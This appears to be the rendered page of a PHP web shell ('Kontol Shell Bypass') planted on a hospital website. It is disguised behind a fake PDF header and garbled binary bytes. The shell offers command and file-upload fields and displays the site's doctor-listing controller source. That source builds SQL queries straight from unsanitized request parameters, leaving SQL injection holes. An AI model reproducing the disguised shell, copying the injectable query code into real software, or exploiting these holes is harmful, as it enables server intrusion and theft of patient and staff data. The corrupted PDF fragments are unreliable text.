%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital_old.org/hbackup/application/controllers/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital_old.org/hbackup/application/controllers/MeetOurDoctors_oldest.php
<?php

defined('BASEPATH') OR exit('No direct script access allowed');

error_reporting(0);

class MeetOurDoctors extends CI_Controller {

function __construct() {

        parent::__construct();

        $this->load->model('doctor_model', 'doctor');

    }

	
	public function index($id=0)

	{

		if(isset($_GET['department'])||isset($_GET['doctor_name']) || isset($_GET['designation']) || isset($_GET['gender'])){

		    $this->find_a_doctor($_GET);

		}

		else if(!$id){

				

			$this->view_doctors();

		}

		else{
		$this->view_doctor($id);
		}
		}


	public function view_doctors(){

	

		$data['doctors'] = $this->doctor->get_doctors('',array(),'','','','','A');

		foreach($data['doctors'] as $doctor){

			echo '<script>console.log("'.$doctor['DoctorName'].' '.$doctor['DoctorProfilePic'].'")</script>';

		}

		$data['page_title']='Meet Our Doctors|Sharda Hospital';

		

		//To be used in header forms

        $data['departments_list']=$this->department->get_department_list( 'DepartmentType ASC', 'A');

        

		$this->load->view('meet_our_doctors',$data);

	}

	

	public function view_doctor($id){

		$data = array();

		$doctor_id = $id;

			if(is_numeric($id)){
			$data['doctor'] = $this->doctor->get_doctor_details($id);
			}

		else{

		    $doctor_id = $this->doctor->get_doctor_id($id)['DoctorID'];

			if($doctor_id){

				$data['doctor'] = $this->doctor->get_doctor_details($doctor_id);

				echo '<script>console.log("COE ID: '.$doctor_id.'")</script>';

			}

		}

		

		if(!isset($data['doctor'])){

			$this->load->view('error_404');

			exit;

		}

		$departments = $this->doctor->get_doctor_departments_id($doctor_id)['DoctorDepartment'];

		$data['related_doctors'] = $this->doctor->get_doctors('',array(),'',$departments,'','','A',array($doctor_id));

		$data['page_title'] = $data['doctor']['DoctorName'].'|Sharda Hospital';
		$data['OPD_schedule'] = $this->doctor->get_OPD_schedule($doctor_id);
		$ratings = $this->doctor->review_show($doctor_id);
		$data['ratinnew'] = $ratings[0]['averageRating']; 
		
		if(!empty($data['ratinnew'])){
		$data['ratinnew'] = $ratings[0]['averageRating']; 
		} else {
		$data['ratinnew'] = 4.5;	
		}
		
		//To be used in header forms

        $data['departments_list']=$this->department->get_department_list( 'DepartmentType ASC', 'A');

        $data['js'] = '<!--rateyo--><script src="'.base_url().'assets/js/jquery.rateyo.js"></script><!--rateyo-->';

        $data['js'] .= '<!--star-rating-js-->

				<script type="text/javascript" src="<?php echo base_url();?>assets/js/jquery.rateyo.js"></script>

				<script type="text/javascript">

				$(function () { 

				  $("#rateYo").rateYo({ 

					rating    : '.$data['ratinnew'].',

					spacing   : "5px",

					multiColor: { 

					  "startColor": "#f47436", //RED

					  "endColor"  : "#f47436"  //GREEN

					}

				  }); 

				});

				</script>

				<!--star-rating-js-->';

        

		$this->load->view('doctor_profile',$data,$OPD_schedule);



	}

	

	public function find_a_doctor($post){

	    $data = array();

	    $department_id = '';

	    $doctor_name = '';

		$designation_id ='';

		$gender = '';

	
	    if($post){

	        /*echo '<script>console.log("post:find a doctor")</script>';*/

			if((!empty($post['department']))){
			$department_id = $post['department'];
			$conditon .= "SH_DoctorProfile.DoctorDepartment = '".$department_id."' and ";
			}

				if((!empty($post['designation']))){
				$designation_id = $post['designation'];
				$conditon .= "SH_DoctorProfile.DoctorDesignation = '".$designation_id."' and ";
				} 

				
				if(!empty($post['gender'])) {
				@$gender = $post['gender'];
				 $conditon .= "SH_DoctorProfile.DoctorGender = '$gender'  and ";
				}

				if((isset($post['doctor']))&&($post['doctor']!='')){
				$doctor_name = $post['doctor'];
				$conditon .= "SH_DoctorProfile.DoctorName LIKE  '$doctor_name%' and ";
				}
			
				$data['doctors'] = $this->db->query('Select SH_DoctorProfile.DoctorID,SH_DoctorProfile.DoctorTitle,
				SH_DoctorProfile.DoctorName,SH_DoctorProfile.DoctorDesignation,SH_DoctorProfile.DoctorProfilePic,SH_DoctorProfile.DoctorPageURL,
				SH_Designations.DesignationID,SH_Designations.DesignationTitle,SH_Designations.DesignationRank,SH_Designations.DesignationPriority,
				SH_Departments.DepartmentID,SH_Departments.DepartmentName,SH_Departments.DepartmentType
				from SH_DoctorProfile left join 
				SH_Designations on SH_DoctorProfile.DoctorDesignation = 
				SH_Designations.DesignationID	
				left join SH_Departments on SH_DoctorProfile.DoctorDepartment =  SH_Departments.DepartmentID
				where '.$conditon.'  DoctorID >=1 order by DesignationRank ASC')->result_array();
				}  
				elseif($doctor_name){
				
				$designation_id = $post['designation'];
				$$department_id = $post['department'];
				$data['doctors'] = $this->doctor->get_doctors('',array(),'',$department_id,$designation_id,'','A');

				}

		

	    //To be used in header forms

        $data['departments_list']=$this->department->get_department_list( 'DepartmentType ASC', 'A');

     	$data['page_title']='Meet Our Doctors|Sharda Hospital';

	    $this->load->view('meet_our_doctors',$data);

	    

	}
	public function patient_review(){
	
	$data = array();
	$emails = $_POST['email'];
	$DoctorPageURL = $_POST['DoctorPageURL'];
	
	 if((!empty($_POST['username']))  and  (!empty($_POST['email'])) and (!empty($_POST['star_review'])) and (!empty($_POST['phone']))) {
	$querys = $this->db->query("select `review_email` from `SH_Doctor_review` where review_email='".$emails."'");
	$numbb = $querys->num_rows();

		$regex = '/^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,3})$/'; 
		if(preg_match($regex,$emails)) {
			
		$insert_data1 = array(
						'doc_id' => $_POST['DoctorID'],
						'patient_id' => '',
						'username' => $_POST['username'],
						'review_email' => $_POST['email'], 
						'phone' => $_POST['phone'],
						'review_rating' => $_POST['star_review'],
						'status' => '1'
					);

	if($numbb=='0'){
	$success = $this->doctor->insert_patient_review($insert_data1);
	echo "<font color='#006600'>Thanks for review.</font>";
    $currentURL = current_url();
	if($success){
 	?>
	<script> setTimeout(function() {
			window.location = "<?php echo  base_url().'meetourdoctors/'.$DoctorPageURL?>";
			}, 1000 );
			</script>
    <?php 
	}} else {
	echo "<font color='#990000'>You have already reviewed.</font>";	
	}
	} else { echo "<font color='#990000'>Invalid Email Id.</font>"; }
	} 
	else {
		echo "<font color='#990000'>Please Fill all Information.</font>";	
		}
	}
	

	

}


Kontol Shell Bypass